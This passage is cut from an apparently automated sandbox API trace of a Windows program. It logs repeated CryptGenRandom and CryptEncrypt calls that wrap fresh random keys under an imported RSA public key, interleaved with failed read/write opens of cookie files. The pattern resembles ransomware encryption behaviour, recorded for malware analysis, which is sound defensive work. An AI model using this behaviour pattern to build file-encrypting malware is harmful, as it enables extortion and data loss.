phKey=0x285cd20*=0x35e7238) returned 1 [0174.979] CryptGetKeyParam (in: hKey=0x35e7238, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.979] CryptEncrypt (in: hKey=0x35e7238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4260000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4260000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.979] GetLastError () returned 0x0 [0174.979] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.979] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.981] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6d38) returned 1 [0174.981] CryptGetKeyParam (in: hKey=0x35e6d38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.981] CryptEncrypt (in: hKey=0x35e6d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4270000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4270000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.981] GetLastError () returned 0x0 [0174.981] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.981] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4O6583I0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4o6583i0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.981] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.984] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.984] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.984] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.985] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.985] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.986] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.986] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.986] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.988] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7278) returned 1 [0174.988] CryptGetKeyParam (in: hKey=0x35e7278, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.988] CryptEncrypt (in: hKey=0x35e7278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4280000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4280000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.988] GetLastError () returned 0x0 [0174.988] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.988] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.990] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e72f8) returned 1 [0174.990] CryptGetKeyParam (in: hKey=0x35e72f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.990] CryptEncrypt (in: hKey=0x35e72f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4290000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4290000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.990] GetLastError () returned 0x0 [0174.990] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.990] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4YWCPPXN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4ywcppxn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.990] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.992] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.992] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.992] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.993] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.993] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.993] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.995] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7338) returned 1 [0174.995] CryptGetKeyParam (in: hKey=0x35e7338, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.995] CryptEncrypt (in: hKey=0x35e7338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x42a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x42a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.995] GetLastError () returned 0x0 [0174.995] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.995] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.997] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7378) returned 1 [0174.997] CryptGetKeyParam (in: hKey=0x35e7378, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.997] CryptEncrypt (in: hKey=0x35e7378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x42b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x42b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.997] GetLastError () returned 0x0 [0174.997] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.998] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4Z6UDYLY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4z6udyly.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.998] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.998] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.999] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.999] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.999] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.999] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.000] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.000] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.000] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.002] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e73b8) returned 1 [0175.002] CryptGetKeyParam (in: hKey=0x35e73b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.002] CryptEncrypt (in: hKey=0x35e73b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x42c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x42c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.002] GetLastError () returned 0x0 [0175.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.002] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.004] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db550) returned 1 [0175.004] CryptGetKeyParam (in: hKey=0x35db550, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.004] CryptEncrypt (in: hKey=0x35db550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x42d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x42d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.005] GetLastError () returned 0x0 [0175.005] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.005] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AFMRGRY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5afmrgry.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.005] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.006] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.006] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.008] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.008] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.008] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.009] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e73f8) returned 1 [0175.010] CryptGetKeyParam (in: hKey=0x35e73f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.010] CryptEncrypt (in: hKey=0x35e73f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x42e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x42e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.010] GetLastError () returned 0x0 [0175.010] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.010] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.012] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609940) returned 1 [0175.012] CryptGetKeyParam (in: hKey=0x3609940, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.012] CryptEncrypt (in: hKey=0x3609940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x42f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x42f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.012] GetLastError () returned 0x0 [0175.012] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.012] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5ARQYMIV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5arqymiv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.013] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.015] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.015] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.015] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.015] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.015] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.016] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.016] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.016] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.019] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609ac0) returned 1 [0175.019] CryptGetKeyParam (in: hKey=0x3609ac0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.019] CryptEncrypt (in: hKey=0x3609ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4300000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4300000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.019] GetLastError () returned 0x0 [0175.019] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.019] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.021] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609a00) returned 1 [0175.022] CryptGetKeyParam (in: hKey=0x3609a00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.022] CryptEncrypt (in: hKey=0x3609a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4310000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4310000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.022] GetLastError () returned 0x0 [0175.022] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.022] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AV8L20N.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5av8l20n.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.022] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.023] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.024] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.024] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.024] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.025] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.025] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.025] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.025] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.027] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609c40) returned 1 [0175.027] CryptGetKeyParam (in: hKey=0x3609c40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.027] CryptEncrypt (in: hKey=0x3609c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4320000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4320000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.027] GetLastError () returned 0x0 [0175.027] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.027] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.029] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609a40) returned 1 [0175.029] CryptGetKeyParam (in: hKey=0x3609a40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.029] CryptEncrypt (in: hKey=0x3609a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4330000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4330000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.029] GetLastError () returned 0x0 [0175.030] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.030] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5NWXN3UI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5nwxn3ui.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.030] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.031] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.031] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.031] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.032] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.032] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.032] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.034] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36097c0) returned 1 [0175.034] CryptGetKeyParam (in: hKey=0x36097c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.034] CryptEncrypt (in: hKey=0x36097c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4340000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4340000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.035] GetLastError () returned 0x0 [0175.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.035] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.036] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609740) returned 1 [0175.037] CryptGetKeyParam (in: 